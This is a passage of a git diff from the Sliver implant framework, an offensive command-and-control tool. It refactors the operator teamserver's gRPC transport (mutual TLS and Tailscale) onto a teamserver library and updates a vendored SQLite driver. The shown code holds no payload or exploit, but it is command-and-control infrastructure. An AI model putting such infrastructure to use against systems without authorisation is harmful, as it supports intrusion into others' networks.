- } else {
- panicked = false
- }
- }()
- return grpcServer, ln, nil
+// Name immplements team/server.Handler.Name().
+// It indicates the transport/rpc stack.
+func (h *teamserver) Name() string {
+ return "gRPC/mTLS"
}
-// getOperatorServerTLSConfig - Generate the TLS configuration, we do now allow the end user
-// to specify any TLS parameters, we choose sensible defaults instead
-func getOperatorServerTLSConfig(host string) *tls.Config {
- caCertPtr, _, err := certs.GetCertificateAuthority(certs.OperatorCA)
+// Init implements team/server.Handler.Init().
+// It is used to initialize the listener with the correct TLS credentials
+// middleware (or absence of if about to serve an in-memory connection).
+func (h *teamserver) Init(team *server.Server) (err error) {
+ h.Server = team
+
+ // Logging
+ logOptions, err := logMiddlewareOptions(h.Server)
if err != nil {
- mtlsLog.Fatalf("Invalid ca type (%s): %v", certs.OperatorCA, host)
+ return err
}
- caCertPool := x509.NewCertPool()
- caCertPool.AddCert(caCertPtr)
- _, _, err = certs.OperatorServerGetCertificate(host)
- if err == certs.ErrCertDoesNotExist {
- certs.OperatorServerGenerateCertificate(host)
- }
+ h.options = append(h.options, logOptions...)
- certPEM, keyPEM, err := certs.OperatorServerGetCertificate(host)
+ // Authentication/audit
+ authOptions, err := h.initAuthMiddleware()
if err != nil {
- mtlsLog.Errorf("Failed to generate or fetch certificate %s", err)
- return nil
- }
- cert, err := tls.X509KeyPair(certPEM, keyPEM)
- if err != nil {
- mtlsLog.Fatalf("Error loading server certificate: %v", err)
+ return err
}
- tlsConfig := &tls.Config{
- RootCAs: caCertPool,
- ClientAuth: tls.RequireAndVerifyClientCert,
- ClientCAs: caCertPool,
- Certificates: []tls.Certificate{cert},
- MinVersion: tls.VersionTLS13,
+ h.options = append(h.options, authOptions...)
+
+ return nil
+}
+
+// Listen implements team/server.Handler.Listen().
+// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients.
+func (h *teamserver) Listen(addr string) (ln net.Listener, err error) {
+ // In-memory connection are not authenticated.
+ if h.conn == nil {
+ ln, err = net.Listen("tcp", addr)
+ if err != nil {
+ return nil, err
+ }
+
+ // Encryption.
+ tlsOptions, err := tlsAuthMiddlewareOptions(h.Server)
+ if err != nil {
+ return nil, err
+ }
+
+ h.options = append(h.options, tlsOptions...)
+ } else {
+ h.mutex.Lock()
+ ln = h.conn
+ h.conn = nil
+ h.mutex.Unlock()
}
- return tlsConfig
+ h.serve(ln)
+
+ return ln, nil
+}
+
+// Close implements team/server.Handler.Close().
+// Original sliver never closes the gRPC HTTP server itself
+// with server.Shutdown(), so here we don't close anything.
+// Note that the listener itself is controled/closed by
+// our core teamserver driver.
+func (h *teamserver) Close() error {
+ return nil
}
diff --git a/server/transport/server.go b/server/transport/server.go
new file mode 100644
index 0000000000..e0664235f1
--- /dev/null
+++ b/server/transport/server.go
@@ -0,0 +1,139 @@
+package transport
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2019 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "context"
+ "net"
+ "runtime/debug"
+
+ "google.golang.org/grpc"
+ "google.golang.org/grpc/credentials/insecure"
+ "google.golang.org/grpc/test/bufconn"
+
+ "github.com/reeflective/team/server"
+
+ "github.com/bishopfox/sliver/protobuf/rpcpb"
+ "github.com/bishopfox/sliver/server/assets"
+ "github.com/bishopfox/sliver/server/db"
+ "github.com/bishopfox/sliver/server/log"
+ "github.com/bishopfox/sliver/server/rpc"
+)
+
+const (
+ kb = 1024
+ mb = kb * 1024
+ gb = mb * 1024
+
+ bufSize = 2 * mb
+
+ // ServerMaxMessageSize - Server-side max GRPC message size.
+ ServerMaxMessageSize = 2*gb - 1
+)
+
+// NewTeamserver returns a Sliver teamserver ready to run and serve
+// itself over either TCP+MTLS/gRPC, or Tailscale+MTLS/gRPC channels.
+// The client options returned should be passed to an in-memory teamclient.
+// All errors returned by this function are critical: the server can't work.
+func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err error) {
+ tlsListener := newTeamserverTLS()
+ tailscaleListener := newTeamserverTailScale()
+
+ // Here is an import step, where we are given a change to setup
+ // the reeflective/teamserver with everything we want: our own
+ // database, the application daemon default port, loggers or files,
+ // directories, and much more.
+ var serverOpts []server.Options
+ serverOpts = append(serverOpts,
+ // Core directories/loggers.
+ server.WithHomeDirectory(assets.GetRootAppDir()), // ~/.sliver/
+ server.WithLogger(log.RootLogger), // Logs to ~/.sliver/logs/sliver.{log,json} and audit.json
+ server.WithDatabase(db.Client), // Uses our traditional ~/.sliver/sliver.db for storing users.
+
+ // Network options/stacks
+ server.WithDefaultPort(31337), // Our now famous port.
+ server.WithListener(tlsListener), // Our legacy TCP+MTLS gRPC stack.
+ server.WithListener(tailscaleListener), // And our new Tailscale variant.
+ )
+
+ // Create the application teamserver.
+ // Any error is critical, and means we can't work correctly.
+ teamserver, err := server.New("sliver", serverOpts...)
+ if err != nil {
+ return nil, nil, err
+ }
+
+ // The gRPC teamserver backend is hooked to produce a single
+ // in-memory teamclient RPC/dialer backend. Not encrypted.
+ return teamserver, clientOptionsFor(tlsListener), nil
+}
+
+// clientOptionsFor requires an existing grpc Teamserver to create an in-memory connection.
+// Those options are passed to the SliverClient constructor for setting up its own dialer.
+// It returns a teamclient meant to be ran in memory, with TLS credentials disabled.
+func clientOptionsFor(server *teamserver, opts ...grpc.DialOption) []grpc.DialOption {
+ conn := bufconn.Listen(bufSize)
+ insecureCreds := insecure.NewCredentials()
+
+ ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
+ return conn.Dial()
+ })
+
+ opts = append(opts, []grpc.DialOption{
+ ctxDialer,
+ grpc.WithTransportCredentials(insecureCreds),
+ }...)
+
+ // The server will use this conn as a listener.
+ // The reference is dropped after server start.
+ server.conn = conn
+
+ return opts
+}
+
+// serve is the transport-agnostic routine to serve the gRPC server
+// (and its implemented Sliver services) onto a generic listener.
+// Both mTLS and Tailscale teamserver backends use this.
+func (h *teamserver) serve(ln net.Listener) {
+ grpcServer := grpc.NewServer(h.options...)
+
+ rpcLog := h.NamedLogger("transport", "gRPC")
+
+ // Teamserver/Sliver services
+ sliverServer := rpc.NewServer(h.Server)
+ rpcpb.RegisterSliverRPCServer(grpcServer, sliverServer)
+
+ rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr())
+
+ // Start serving the listener
+ go func() {
+ panicked := true
+ defer func() {
+ if panicked {
+ rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack()))
+ }
+ }()
+
+ if err := grpcServer.Serve(ln); err != nil {
+ rpcLog.Errorf("gRPC server exited with error: %v", err)
+ } else {
+ panicked = false
+ }
+ }()
+}
diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go
index dd18a89c70..3d239beaf2 100644
--- a/server/transport/tailscale.go
+++ b/server/transport/tailscale.go
@@ -21,25 +21,50 @@ package transport
import (
"fmt"
"net"
+ "net/url"
"os"
"path/filepath"
- "runtime/debug"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/server/assets"
- "github.com/bishopfox/sliver/server/log"
- "github.com/bishopfox/sliver/server/rpc"
"google.golang.org/grpc"
- "google.golang.org/grpc/credentials"
"tailscale.com/tsnet"
-)
-var (
- tsNetLog = log.NamedLogger("transport", "tsnet")
+ "github.com/reeflective/team/server"
+
+ "github.com/bishopfox/sliver/server/assets"
)
-// StartTsNetClientListener - Start a TSNet gRPC listener
-func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.Listener, error) {
+// tailscaleTeamserver is unexported since we only need it as
+// a reeflective/team/server.Listener interface implementation.
+type tailscaleTeamserver struct {
+ *teamserver
+}
+
+// newTeamserverTailScale returns a Sliver teamserver backend using Tailscale.
+func newTeamserverTailScale(opts ...grpc.ServerOption) server.Listener {
+ core := newTeamserverTLS(opts...)
+
+ return &tailscaleTeamserver{core}
+}
+
+// Name indicates the transport/rpc stack.
+func (ts *tailscaleTeamserver) Name() string {
+ return "gRPC/TSNet"
+}
+
+// Close implements team/server.Handler.Close().
+// Instead of serving a classic TCP+TLS listener,
+// we start a tailscale stack and create the listener out of it.
+func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) {
+ tsNetLog := ts.NamedLogger("transport", "tailscale")
+
+ url, err := url.Parse(fmt.Sprintf("ts://%s", addr))
+ if err != nil {
+ return nil, err
+ }
+
+ hostname := url.Hostname()
+ port := url.Port()
+
if hostname == "" {
hostname = "sliver-server"
machineName, _ := os.Hostname()
@@ -48,17 +73,17 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
}
}
- tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port)
+ tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%s", hostname, port)
authKey := os.Getenv("TS_AUTHKEY")
if authKey == "" {
tsNetLog.Errorf("TS_AUTHKEY not set")
- return nil, nil, fmt.Errorf("TS_AUTHKEY not set")
+ return nil, fmt.Errorf("TS_AUTHKEY not set")
}
tsnetDir := filepath.Join(assets.GetRootAppDir(), "tsnet")
- if err := os.MkdirAll(tsnetDir, 0700); err != nil {
- return nil, nil, err
+ if err := os.MkdirAll(tsnetDir, 0o700); err != nil {
+ return nil, err
}
tsNetServer := &tsnet.Server{
@@ -67,35 +92,13 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
Logf: tsNetLog.Debugf,
AuthKey: authKey,
}
- ln, err := tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port))
+
+ ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%s", port))
if err != nil {
- return nil, nil, err
+ return nil, err
}
- // We don't really need the mutual TLS here, but it's easier
- // maintain compatibility with existing config files
- tlsConfig := getOperatorServerTLSConfig("multiplayer")
- creds := credentials.NewTLS(tlsConfig)
- options := []grpc.ServerOption{
- grpc.Creds(creds),
- grpc.MaxRecvMsgSize(ServerMaxMessageSize),
- grpc.MaxSendMsgSize(ServerMaxMessageSize),
- }
- options = append(options, initMiddleware(true)...)
- grpcServer := grpc.NewServer(options...)
- rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
- go func() {
- panicked := true
- defer func() {
- if panicked {
- tsNetLog.Errorf("stacktrace from panic: %s", string(debug.Stack()))
- }
- }()
- if err := grpcServer.Serve(ln); err != nil {
- tsNetLog.Warnf("gRPC/tsnet server exited with error: %v", err)
- } else {
- panicked = false
- }
- }()
- return grpcServer, ln, nil
+ ts.serve(ln)
+
+ return ln, nil
}
diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md
index 8a06a28516..838679176b 100644
--- a/vendor/github.com/ncruces/go-sqlite3/README.md
+++ b/vendor/github.com/ncruces/go-sqlite3/README.md
@@ -31,16 +31,11 @@ This has benefits, but also comes with some drawbacks.
Because WASM does not support shared memory,
[WAL](https://www.sqlite.org/wal.html) support is [limited](https://www.sqlite.org/wal.html#noshm).
-To work around this limitation, SQLite is compiled with
-[`SQLITE_DEFAULT_LOCKING_MODE=1`](https://www.sqlite.org/compile.html#default_locking_mode),
-making `EXCLUSIVE` the default locking mode.
-For non-WAL databases, `NORMAL` locking mode can be activated with
-[`PRAGMA locking_mode=NORMAL`](https://www.sqlite.org/pragma.html#pragma_locking_mode).
+To work around this limitation, SQLite is [patched](sqlite3/locking_mode.patch)
+to always use `EXCLUSIVE` locking mode for WAL databases.
Because connection pooling is incompatible with `EXCLUSIVE` locking mode,
-the `database/sql` driver defaults to `NORMAL` locking mode.
-To open WAL databases, or use `EXCLUSIVE` locking mode,
-disable connection pooling by calling
+to open WAL databases you should disable connection pooling by calling
[`db.SetMaxOpenConns(1)`](https://pkg.go.dev/database/sql#DB.SetMaxOpenConns).
#### POSIX Advisory Locks
@@ -55,19 +50,22 @@ OFD locks are fully compatible with process-associated POSIX advisory locks.
On BSD Unixes, this module uses
[BSD locks](https://man.freebsd.org/cgi/man.cgi?query=flock&sektion=2).
-BSD locks may _not_ be compatible with process-associated POSIX advisory locks.
+BSD locks may _not_ be compatible with process-associated POSIX advisory locks
+(they are on FreeBSD).
#### Testing
-The pure Go VFS is tested by running an unmodified build of SQLite's
+The pure Go VFS is tested by running SQLite's
[mptest](https://github.com/sqlite/sqlite/blob/master/mptest/mptest.c)
-on Linux, macOS and Windows.
+on Linux, macOS and Windows;
+BSD code paths are tested on macOS using the `sqlite3_bsd` build tag.
Performance is tested by running
[speedtest1](https://github.com/sqlite/sqlite/blob/master/test/speedtest1.c).
### Roadmap
- [ ] advanced SQLite features
+ - [x] custom functions
- [x] nested transactions
- [x] incremental BLOB I/O
- [x] online backup
@@ -77,7 +75,7 @@ Performance is tested by running
- [x] in-memory VFS
- [x] read-only VFS, wrapping an [`io.ReaderAt`](https://pkg.go.dev/io#ReaderAt)
- [ ] cloud-based VFS, based on [Cloud Backed SQLite](https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki)
-- [ ] custom SQL functions
+ - [ ] [MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) VFS, using [BadgerDB](https://github.com/dgraph-io/badger)
### Alternatives
diff --git a/vendor/github.com/ncruces/go-sqlite3/backup.go b/vendor/github.com/ncruces/go-sqlite3/backup.go
index 27a71a9707..17efa03ed0 100644
--- a/vendor/github.com/ncruces/go-sqlite3/backup.go
+++ b/vendor/github.com/ncruces/go-sqlite3/backup.go
@@ -77,7 +77,7 @@ func (c *Conn) backupInit(dst uint32, dstName string, src uint32, srcName string
if r == 0 {
defer c.closeDB(other)
r = c.call(c.api.errcode, uint64(dst))
- return nil, c.module.error(r, dst)
+ return nil, c.sqlite.error(r, dst)
}
return &Backup{
diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go
index be10c719fa..9c15a85f0e 100644
--- a/vendor/github.com/ncruces/go-sqlite3/conn.go
+++ b/vendor/github.com/ncruces/go-sqlite3/conn.go
@@ -19,7 +19,7 @@ import (
//
// https://www.sqlite.org/c3ref/sqlite3.html
type Conn struct {
- *module
+ *sqlite
interrupt context.Context
waiter chan struct{}
@@ -39,7 +39,7 @@ func Open(filename string) (*Conn, error) {
// If none of the required flags is used, a combination of [OPEN_READWRITE] and [OPEN_CREATE] is used.
// If a URI filename is used, PRAGMA statements to execute can be specified using "_pragma":
//
-// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)")
+// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)")
//
// https://www.sqlite.org/c3ref/open.html
func OpenFlags(filename string, flags OpenFlag) (*Conn, error) {
@@ -50,19 +50,19 @@ func OpenFlags(filename string, flags OpenFlag) (*Conn, error) {
}
func newConn(filename string, flags OpenFlag) (conn *Conn, err error) {
- mod, err := instantiateModule()
+ sqlite, err := instantiateSQLite()
if err != nil {
return nil, err
}
defer func() {
if conn == nil {
- mod.close()
+ sqlite.close()
} else {
runtime.SetFinalizer(conn, util.Finalizer[Conn](3))
}
}()
- c := &Conn{module: mod}
+ c := &Conn{sqlite: sqlite}
c.arena = c.newArena(1024)
c.handle, err = c.openDB(filename, flags)
if err != nil {
@@ -80,7 +80,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) {
r := c.call(c.api.open, uint64(namePtr), uint64(connPtr), uint64(flags), 0)
handle := util.ReadUint32(c.mod, connPtr)
- if err := c.module.error(r, handle); err != nil {
+ if err := c.sqlite.error(r, handle); err != nil {
c.closeDB(handle)
return 0, err
}
@@ -99,7 +99,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) {
c.arena.reset()
pragmaPtr := c.arena.string(pragmas.String())
r := c.call(c.api.exec, uint64(handle), uint64(pragmaPtr), 0, 0, 0)
- if err := c.module.error(r, handle, pragmas.String()); err != nil {
+ if err := c.sqlite.error(r, handle, pragmas.String()); err != nil {
if errors.Is(err, ERROR) {
err = fmt.Errorf("sqlite3: invalid _pragma: %w", err)
}
@@ -113,7 +113,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) {
func (c *Conn) closeDB(handle uint32) {
r := c.call(c.api.closeZombie, uint64(handle))
- if err := c.module.error(r, handle); err != nil {
+ if err := c.sqlite.error(r, handle); err != nil {
panic(err)
}
}
@@ -143,7 +143,7 @@ func (c *Conn) Close() error {
c.handle = 0
runtime.SetFinalizer(c, nil)
- return c.module.close()
+ return c.close()
}
// Exec is a convenience function that allows an application to run
@@ -278,7 +278,7 @@ func (c *Conn) SetInterrupt(ctx context.Context) (old context.Context) {
break
case <-ctx.Done(): // Done was closed.
- const isInterruptedOffset = 280
+ const isInterruptedOffset = 288
buf := util.View(c.mod, c.handle+isInterruptedOffset, 4)
(*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1)
// Wait for the next call to SetInterrupt.
@@ -295,7 +295,7 @@ func (c *Conn) checkInterrupt() bool {
if c.interrupt == nil || c.interrupt.Err() == nil {
return false
}
- const isInterruptedOffset = 280
+ const isInterruptedOffset = 288
buf := util.View(c.mod, c.handle+isInterruptedOffset, 4)
(*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1)
return true
@@ -319,7 +319,7 @@ func (c *Conn) Pragma(str string) ([]string, error) {
}
func (c *Conn) error(rc uint64, sql ...string) error {
- return c.module.error(rc, c.handle, sql...)
+ return c.sqlite.error(rc, c.handle, sql...)
}
// DriverConn is implemented by the SQLite [database/sql] driver connection.
diff --git a/vendor/github.com/ncruces/go-sqlite3/const.go b/vendor/github.com/ncruces/go-sqlite3/const.go
index a1d6145c3e..9d0cd3008f 100644
--- a/vendor/github.com/ncruces/go-sqlite3/const.go
+++ b/vendor/github.com/ncruces/go-sqlite3/const.go
@@ -167,6 +167,18 @@ const (
PREPARE_NO_VTAB PrepareFlag = 0x04
)
+// FunctionFlag is a flag that can be passed to [Conn.PrepareFlags].
+//
+// https://www.sqlite.org/c3ref/c_deterministic.html
+type FunctionFlag uint32
+
+const (
+ DETERMINISTIC FunctionFlag = 0x000000800
+ DIRECTONLY FunctionFlag = 0x000080000
+ SUBTYPE FunctionFlag = 0x000100000
+ INNOCUOUS FunctionFlag = 0x000200000
+)
+
// Datatype is a fundamental datatype of SQLite.
//
// https://www.sqlite.org/c3ref/c_blob.html
@@ -182,18 +194,18 @@ const (
// String implements the [fmt.Stringer] interface.
func (t Datatype) String() string {
- const name = "INTEGERFLOATTEXTBLOBNULL"
+ const name = "INTEGERFLOATEXTBLOBNULL"
switch t {
case INTEGER:
return name[0:7]
case FLOAT:
return name[7:12]
case TEXT:
- return name[12:16]
+ return name[11:15]
case BLOB:
- return name[16:20]
+ return name[15:19]
case NULL:
- return name[20:24]
+ return name[19:23]
}
return strconv.FormatUint(uint64(t), 10)
}
diff --git a/vendor/github.com/ncruces/go-sqlite3/context.go b/vendor/github.com/ncruces/go-sqlite3/context.go
new file mode 100644
index 0000000000..3e511b52d9
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/context.go
@@ -0,0 +1,174 @@
+package sqlite3
+
+import (
+ "errors"
+ "math"
+ "time"
+
+ "github.com/ncruces/go-sqlite3/internal/util"
+)
+
+// Context is the context in which an SQL function executes.
+// An SQLite [Context] is in no way related to a Go [context.Context].
+//
+// https://www.sqlite.org/c3ref/context.html
+type Context struct {
+ *sqlite
+ handle uint32
+}
+
+// SetAuxData saves metadata for argument n of the function.
+//
+// https://www.sqlite.org/c3ref/get_auxdata.html
+func (c Context) SetAuxData(n int, data any) {
+ ptr := util.AddHandle(c.ctx, data)
+ c.call(c.api.setAuxData, uint64(c.handle), uint64(n), uint64(ptr))
+}
+
+// GetAuxData returns metadata for argument n of the function.
+//
+// https://www.sqlite.org/c3ref/get_auxdata.html
+func (c Context) GetAuxData(n int) any {
+ ptr := uint32(c.call(c.api.getAuxData, uint64(c.handle), uint64(n)))
+ return util.GetHandle(c.ctx, ptr)
+}
+
+// ResultBool sets the result of the function to a bool.
+// SQLite does not have a separate boolean storage class.
+// Instead, boolean values are stored as integers 0 (false) and 1 (true).
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultBool(value bool) {
+ var i int64
+ if value {
+ i = 1
+ }
+ c.ResultInt64(i)
+}
+
+// ResultInt sets the result of the function to an int.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultInt(value int) {
+ c.ResultInt64(int64(value))
+}
+
+// ResultInt64 sets the result of the function to an int64.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultInt64(value int64) {
+ c.call(c.api.resultInteger,
+ uint64(c.handle), uint64(value))
+}
+
+// ResultFloat sets the result of the function to a float64.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultFloat(value float64) {
+ c.call(c.api.resultFloat,
+ uint64(c.handle), math.Float64bits(value))
+}
+
+// ResultText sets the result of the function to a string.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultText(value string) {
+ ptr := c.newString(value)
+ c.call(c.api.resultText,
+ uint64(c.handle), uint64(ptr), uint64(len(value)),
+ uint64(c.api.destructor), _UTF8)
+}
+
+// ResultBlob sets the result of the function to a []byte.
+// Returning a nil slice is the same as calling [Context.ResultNull].
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultBlob(value []byte) {
+ ptr := c.newBytes(value)
+ c.call(c.api.resultBlob,
+ uint64(c.handle), uint64(ptr), uint64(len(value)),
+ uint64(c.api.destructor))
+}
+
+// BindZeroBlob sets the result of the function to a zero-filled, length n BLOB.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultZeroBlob(n int64) {
+ c.call(c.api.resultZeroBlob,
+ uint64(c.handle), uint64(n))
+}
+
+// ResultNull sets the result of the function to NULL.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultNull() {
+ c.call(c.api.resultNull,
+ uint64(c.handle))
+}
+
+// ResultTime sets the result of the function to a [time.Time].
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultTime(value time.Time, format TimeFormat) {
+ if format == TimeFormatDefault {
+ c.resultRFC3339Nano(value)
+ return
+ }
+ switch v := format.Encode(value).(type) {
+ case string:
+ c.ResultText(v)
+ case int64:
+ c.ResultInt64(v)
+ case float64:
+ c.ResultFloat(v)
+ default:
+ panic(util.AssertErr())
+ }
+}
+
+func (c Context) resultRFC3339Nano(value time.Time) {
+ const maxlen = uint64(len(time.RFC3339Nano))
+
+ ptr := c.new(maxlen)
+ buf := util.View(c.mod, ptr, maxlen)
+ buf = value.AppendFormat(buf[:0], time.RFC3339Nano)
+
+ c.call(c.api.resultText,
+ uint64(c.handle), uint64(ptr), uint64(len(buf)),
+ uint64(c.api.destructor), _UTF8)
+}
+
+// ResultError sets the result of the function an error.
+//
+// https://www.sqlite.org/c3ref/result_blob.html
+func (c Context) ResultError(err error) {
+ if errors.Is(err, NOMEM) {
+ c.call(c.api.resultErrorMem, uint64(c.handle))
+ return
+ }
+
+ if errors.Is(err, TOOBIG) {
+ c.call(c.api.resultErrorBig, uint64(c.handle))
+ return
+ }
+
+ str := err.Error()
+ ptr := c.newString(str)
+ c.call(c.api.resultError,
+ uint64(c.handle), uint64(ptr), uint64(len(str)))
+ c.free(ptr)
+
+ var code uint64
+ var ecode ErrorCode
+ var xcode xErrorCode
+ switch {
+ case errors.As(err, &xcode):
+ code = uint64(xcode)
+ case errors.As(err, &ecode):
+ code = uint64(ecode)
+ }
+ if code != 0 {
+ c.call(c.api.resultErrorCode,
+ uint64(c.handle), code)
+ }
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go
index f027c4ee9c..4dc8182e05 100644
--- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go
+++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go
@@ -14,10 +14,9 @@
//
// [PRAGMA] statements can be specified using "_pragma":
//
-// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)")
+// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)")
//
-// If no PRAGMAs are specified, a busy timeout of 1 minute
-// and normal locking mode are used.
+// If no PRAGMAs are specified, a busy timeout of 1 minute is set.
//
// Order matters:
// busy timeout and locking mode should be the first PRAGMAs set, in that order.
@@ -53,9 +52,14 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) {
if err != nil {
return nil, err
}
+ defer func() {
+ if err != nil {
+ c.Close()
+ }
+ }()
+ var pragmas bool
c.txBegin = "BEGIN"
- var pragmas []string
if strings.HasPrefix(name, "file:") {
if _, after, ok := strings.Cut(name, "?"); ok {
query, _ := url.ParseQuery(after)
@@ -66,20 +70,15 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) {
case "deferred", "immediate", "exclusive":
c.txBegin = "BEGIN " + s
default:
- c.Close()
return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s)
}
- pragmas = query["_pragma"]
+ pragmas = len(query["_pragma"]) > 0
}
}
- if len(pragmas) == 0 {
- err := c.Conn.Exec(`
- PRAGMA busy_timeout=60000;
- PRAGMA locking_mode=normal;
- `)
+ if !pragmas {
+ err = c.Conn.Exec(`PRAGMA busy_timeout=60000`)
if err != nil {
- c.Close()
return nil, err
}
c.reusable = true
@@ -90,7 +89,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) {
PRAGMA_query_only;
`)
if err != nil {
- c.Close()
return nil, err
}
if s.Step() {
@@ -99,7 +97,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) {
}
err = s.Close()
if err != nil {
- c.Close()
return nil, err
}
}
@@ -259,9 +256,7 @@ func (s *stmt) Query(args []driver.Value) (driver.Rows, error) {
}
func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) {
- // Use QueryContext to setup bindings.
- // No need to close rows: that simply resets the statement, exec does the same.
- _, err := s.QueryContext(ctx, args)
+ err := s.setupBindings(ctx, args)
if err != nil {
return nil, err
}
@@ -275,11 +270,20 @@ func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (drive
}
func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) {
- err := s.Stmt.ClearBindings()
+ err := s.setupBindings(ctx, args)
if err != nil {
return nil, err
}
+ return &rows{ctx, s.Stmt, s.Conn}, nil
+}
+
+func (s *stmt) setupBindings(ctx context.Context, args []driver.NamedValue) error {
+ err := s.Stmt.ClearBindings()
+ if err != nil {
+ return err
+ }
+
var ids [3]int
for _, arg := range args {
ids := ids[:0]
@@ -318,11 +322,10 @@ func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driv
}
}
if err != nil {
- return nil, err
+ return err
}
}
-
- return &rows{ctx, s.Stmt, s.Conn}, nil
+ return nil
}
func (s *stmt) CheckNamedValue(arg *driver.NamedValue) error {
diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/README.md b/vendor/github.com/ncruces/go-sqlite3/embed/README.md
index 06c488696b..a40f65e88e 100644
--- a/vendor/github.com/ncruces/go-sqlite3/embed/README.md
+++ b/vendor/github.com/ncruces/go-sqlite3/embed/README.md
@@ -9,6 +9,7 @@ The following optional features are compiled in:
- [JSON](https://www.sqlite.org/json1.html)
- [R*Tree](https://www.sqlite.org/rtree.html)
- [GeoPoly](https://www.sqlite.org/geopoly.html)
+- [soundex](https://www.sqlite.org/lang_corefunc.html#soundex)
- [base64](https://github.com/sqlite/sqlite/blob/master/ext/misc/base64.c)
- [decimal](https://github.com/sqlite/sqlite/blob/master/ext/misc/decimal.c)
- [regexp](https://github.com/sqlite/sqlite/blob/master/ext/misc/regexp.c)
diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh
index f461b2664f..a80a94a962 100644
--- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh
+++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh
@@ -4,24 +4,27 @@ set -euo pipefail
cd -P -- "$(dirname -- "$0")"
ROOT=../
-BINARYEN="$ROOT/tools/binaryen-version_113/bin"
+BINARYEN="$ROOT/tools/binaryen-version_114/bin"
WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin"
"$WASI_SDK/clang" --target=wasm32-wasi -flto -g0 -O2 \
-o sqlite3.wasm "$ROOT/sqlite3/main.c" \
-I"$ROOT/sqlite3" \
-mexec-model=reactor \
- -mmutable-globals \
+ -msimd128 -mmutable-globals \
-mbulk-memory -mreference-types \
-mnontrapping-fptoint -msign-ext \
+ -fno-stack-protector -fno-stack-clash-protection \
-Wl,--initial-memory=327680 \
-Wl,--stack-first \
-Wl,--import-undefined \
+ -D_HAVE_SQLITE_CONFIG_H \
$(awk '{print "-Wl,--export="$0}' exports.txt)
trap 'rm -f sqlite3.tmp' EXIT
"$BINARYEN/wasm-ctor-eval" -g -c _initialize sqlite3.wasm -o sqlite3.tmp
-"$BINARYEN/wasm-opt" -g -O2 sqlite3.tmp -o sqlite3.wasm \
- --enable-multivalue --enable-mutable-globals \
+"$BINARYEN/wasm-opt" -g --strip -c -O3 \
+ sqlite3.tmp -o sqlite3.wasm \
+ --enable-simd --enable-mutable-globals --enable-multivalue \
--enable-bulk-memory --enable-reference-types \
